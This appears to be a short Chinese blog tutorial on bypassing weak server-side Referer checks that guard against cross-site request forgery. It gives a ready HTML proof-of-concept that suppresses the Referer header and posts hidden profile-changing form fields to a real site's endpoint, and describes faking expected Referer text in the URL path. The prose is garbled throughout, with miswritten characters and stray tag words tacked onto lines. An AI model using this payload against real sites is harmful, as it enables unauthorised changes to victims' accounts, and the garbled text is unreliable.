CSRF绕事后端Referer校验分正常状况和不正常的状况,咱们这里主要讨论开发在写校验referer程序时,不正常的状况下怎么进行绕过。html
正常的状况指服务器端校验Referer的代码没毛病,那么意味着前端是没法绕过的。前端
我以前考虑过的方案:后端
不正常的状况指服务器端校验Referer的代码有漏洞,前端才能作到绕过,下面介绍几个可能会绕过Referer的案例;跨域
能够尝试无Referer标签,万一逻辑恰好没判断无Referer的状况呢;浏览器
<meta name="referrer" content="never">
服务器
<html> <meta name="referrer" content="never"> <body> <script>history.pushState('', '', '/')</script> <!-- 实现浏览器页面不刷新修改url连接 --> <form action="http://www.baidu.com/setProfile" method="POST"> <input type="hidden" name="nickname" value="new22" /> <input type="hidden" name="email" value="1@1.com" /> <input type="hidden" name="team" value="new22" /> <input type="hidden" name="address" value="new33" /> <input type="submit" value="Submit request" /> </form> </body> </html>
原理就是在路径上建立成本来referer中有的字段名,若是校验只是判断是否包含,那就666了;url